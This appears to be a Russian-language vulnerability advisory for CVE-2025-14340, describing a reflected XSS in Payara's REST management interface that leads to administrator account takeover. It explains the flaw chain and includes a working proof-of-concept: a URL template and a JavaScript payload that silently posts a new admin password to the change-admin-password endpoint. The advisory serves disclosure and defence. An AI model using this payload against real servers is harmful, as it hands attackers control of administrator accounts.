XSS до захвата учетной записи администратора (CVE-2025-14340)

Уязвимость межсайтового скриптинга (XSS) в интерфейсе управления REST Payara позволяет выполнять JavaScript, контролируемый злоумышленником, что приводит к захвату учетной записи администратора. Это происходит из-за:

1. Панель использует HTTP Basic Auth (учетные данные автоматически отправляются браузером для запросов того же происхождения).
2. Конечная точка change-admin-password не требует текущий пароль для обновления пароля пользователя.
3. Форма change-admin-password не имеет защиты CSRF.
4. Внедренный скрипт, использующий XSS в /management/domain/version, может отправить POST-запрос на /management/domain/change-admin-password и установить выбранный злоумышленником пароль для любой целевой учетной записи, что приводит к захвату учетной записи администратора.

Доказательство концепции

URL:

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

Полезная нагрузка:

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Правовая информация

ТОЛЬКО АВТОРИЗОВАННОЕ ИСПОЛЬЗОВАНИЕ. DeepSecurity Perú не поддерживает несанкционированный доступ и не несет ответственности за любое неправомерное использование предоставленной информации.